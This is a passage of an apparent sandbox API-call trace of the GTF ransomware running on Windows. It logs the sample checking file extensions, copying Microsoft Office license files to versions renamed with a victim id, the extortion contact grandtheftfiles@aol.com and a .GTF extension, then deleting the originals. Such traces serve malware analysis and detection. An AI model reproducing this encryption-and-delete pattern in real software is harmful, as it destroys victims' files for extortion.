	[0173.297] lstrlenW (lpString=".xlsx") returned 5
	[0173.297] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.297] lstrlenW (lpString=".ppt") returned 4
	[0173.297] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0173.299] lstrlenW (lpString=".zip") returned 4
	[0173.299] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.299] lstrlenW (lpString=".rar") returned 4
	[0173.299] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.299] lstrlenW (lpString=".bz2") returned 4
	[0173.299] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.299] lstrlenW (lpString=".7z") returned 3
	[0173.299] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0173.299] lstrlenW (lpString=".dbf") returned 4
	[0173.299] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0173.299] lstrlenW (lpString=".1cd") returned 4
	[0173.299] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0173.299] lstrlenW (lpString=".jpg") returned 4
	[0173.299] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0173.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0173.299] lstrlenW (lpString=".doc") returned 4
	[0173.299] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.299] lstrlenW (lpString=".docx") returned 5
	[0173.299] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.299] lstrlenW (lpString=".pdf") returned 4
	[0173.299] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.299] lstrlenW (lpString=".xls") returned 4
	[0173.299] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.299] lstrlenW (lpString=".xlsx") returned 5
	[0173.300] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.300] lstrlenW (lpString=".ppt") returned 4
	[0173.300] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0173.300] lstrlenW (lpString=".zip") returned 4
	[0173.300] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.300] lstrlenW (lpString=".rar") returned 4
	[0173.300] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.300] lstrlenW (lpString=".bz2") returned 4
	[0173.300] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.524] lstrlenW (lpString=".7z") returned 3
	[0173.524] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0173.524] lstrlenW (lpString=".dbf") returned 4
	[0173.525] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0173.525] lstrlenW (lpString=".1cd") returned 4
	[0173.525] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0173.525] lstrlenW (lpString=".jpg") returned 4
	[0173.525] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.525] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.525] lstrlenW (lpString="HomeBusinessR_Retail3-ppd.xrm-ms") returned 32
	[0173.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0173.527] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=22092) returned 1
	[0173.527] CloseHandle (hObject=0x530) returned 1
	[0173.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms")) returned 0x220
	[0173.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0173.528] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.528] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0173.529] GetLastError () returned 0x0
	[0173.529] ReadFile (in: hFile=0x530, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x564c, lpOverlapped=0x0) returned 1
	[0173.532] WriteFile (in: hFile=0x45c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5650, lpOverlapped=0x0) returned 1
	[0173.533] ReadFile (in: hFile=0x530, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.533] WriteFile (in: hFile=0x45c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x114, lpOverlapped=0x0) returned 1
	[0173.534] SetEndOfFile (hFile=0x45c) returned 1
	[0173.534] CloseHandle (hObject=0x45c) returned 1
	[0173.534] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.534] SetEndOfFile (hFile=0x530) returned 1
	[0173.537] CloseHandle (hObject=0x530) returned 1
	[0173.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.538] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms")) returned 1
	[0173.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0173.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0173.539] lstrlenW (lpString=".doc") returned 4
	[0173.539] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.539] lstrlenW (lpString=".docx") returned 5
	[0173.539] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.539] lstrlenW (lpString=".pdf") returned 4
	[0173.539] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.539] lstrlenW (lpString=".xls") returned 4
	[0173.539] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.539] lstrlenW (lpString=".xlsx") returned 5
	[0173.539] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.539] lstrlenW (lpString=".ppt") returned 4
	[0173.539] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0173.539] lstrlenW (lpString=".zip") returned 4
	[0173.539] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.539] lstrlenW (lpString=".rar") returned 4
	[0173.539] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.539] lstrlenW (lpString=".bz2") returned 4
	[0173.539] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.539] lstrlenW (lpString=".7z") returned 3
	[0173.539] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0173.539] lstrlenW (lpString=".dbf") returned 4
	[0173.539] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0173.539] lstrlenW (lpString=".1cd") returned 4
	[0173.539] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0173.539] lstrlenW (lpString=".jpg") returned 4
	[0173.539] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0173.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0173.540] lstrlenW (lpString=".doc") returned 4
	[0173.540] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.540] lstrlenW (lpString=".docx") returned 5
	[0173.540] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.540] lstrlenW (lpString=".pdf") returned 4
	[0173.540] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.540] lstrlenW (lpString=".xls") returned 4
	[0173.540] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.540] lstrlenW (lpString=".xlsx") returned 5
	[0173.540] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.540] lstrlenW (lpString=".ppt") returned 4
	[0173.540] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0173.540] lstrlenW (lpString=".zip") returned 4
	[0173.540] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.540] lstrlenW (lpString=".rar") returned 4
	[0173.540] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.540] lstrlenW (lpString=".bz2") returned 4
	[0173.540] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.540] lstrlenW (lpString=".7z") returned 3
	[0173.540] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0173.540] lstrlenW (lpString=".dbf") returned 4
	[0173.540] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0173.540] lstrlenW (lpString=".1cd") returned 4
	[0173.540] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0173.540] lstrlenW (lpString=".jpg") returned 4
	[0173.540] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.541] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.541] lstrlenW (lpString="HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 35
	[0173.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0173.542] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11613) returned 1
	[0173.542] CloseHandle (hObject=0x530) returned 1
	[0173.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms")) returned 0x220
	[0173.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0173.542] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.542] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0173.543] GetLastError () returned 0x0
	[0173.543] ReadFile (in: hFile=0x530, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d5d, lpOverlapped=0x0) returned 1
	[0173.546] WriteFile (in: hFile=0x45c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0173.547] ReadFile (in: hFile=0x530, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.547] WriteFile (in: hFile=0x45c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x11a, lpOverlapped=0x0) returned 1
	[0173.548] SetEndOfFile (hFile=0x45c) returned 1
	[0173.548] CloseHandle (hObject=0x45c) returned 1
	[0173.548] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.548] SetEndOfFile (hFile=0x530) returned 1
	[0173.551] CloseHandle (hObject=0x530) returned 1
	[0173.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.551] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms")) returned 1
	[0173.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0173.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0173.552] lstrlenW (lpString=".doc") returned 4
	[0173.552] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.552] lstrlenW (lpString=".docx") returned 5
	[0173.552] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.552] lstrlenW (lpString=".pdf") returned 4
	[0173.552] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.552] lstrlenW (lpString=".xls") returned 4
	[0173.552] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.552] lstrlenW (lpString=".xlsx") returned 5
	[0173.552] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.552] lstrlenW (lpString=".ppt") returned 4
	[0173.552] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0173.552] lstrlenW (lpString=".zip") returned 4
	[0173.552] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.552] lstrlenW (lpString=".rar") returned 4
	[0173.552] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.552] lstrlenW (lpString=".bz2") returned 4
	[0173.553] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.553] lstrlenW (lpString=".7z") returned 3
	[0173.553] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0173.553] lstrlenW (lpString=".dbf") returned 4
	[0173.553] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0173.553] lstrlenW (lpString=".1cd") returned 4
	[0173.553] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0173.553] lstrlenW (lpString=".jpg") returned 4
	[0173.553] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0173.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0173.553] lstrlenW (lpString=".doc") returned 4
	[0173.553] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.553] lstrlenW (lpString=".docx") returned 5
	[0173.553] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.553] lstrlenW (lpString=".pdf") returned 4
	[0173.553] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.553] lstrlenW (lpString=".xls") returned 4
	[0173.553] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.553] lstrlenW (lpString=".xlsx") returned 5
	[0173.553] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.553] lstrlenW (lpString=".ppt") returned 4
	[0173.553] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0173.553] lstrlenW (lpString=".zip") returned 4
	[0173.553] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.553] lstrlenW (lpString=".rar") returned 4
	[0173.553] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.553] lstrlenW (lpString=".bz2") returned 4
	[0173.553] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.554] lstrlenW (lpString=".7z") returned 3
	[0173.554] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0173.554] lstrlenW (lpString=".dbf") returned 4
	[0173.554] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0173.554] lstrlenW (lpString=".1cd") returned 4
	[0173.554] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0173.554] lstrlenW (lpString=".jpg") returned 4
	[0173.554] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.554] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.554] lstrlenW (lpString="HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 35
	[0173.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0173.555] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=19958) returned 1
	[0173.555] CloseHandle (hObject=0x530) returned 1
	[0173.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms")) returned 0x220
	[0173.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0173.555] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.556] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0173.557] GetLastError () returned 0x0
	[0173.557] ReadFile (in: hFile=0x530, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x4df6, lpOverlapped=0x0) returned 1
	[0173.561] WriteFile (in: hFile=0x45c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0173.563] ReadFile (in: hFile=0x530, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.563] WriteFile (in: hFile=0x45c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x11a, lpOverlapped=0x0) returned 1
	[0173.563] SetEndOfFile (hFile=0x45c) returned 1
	[0173.563] CloseHandle (hObject=0x45c) returned 1
	[0173.563] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
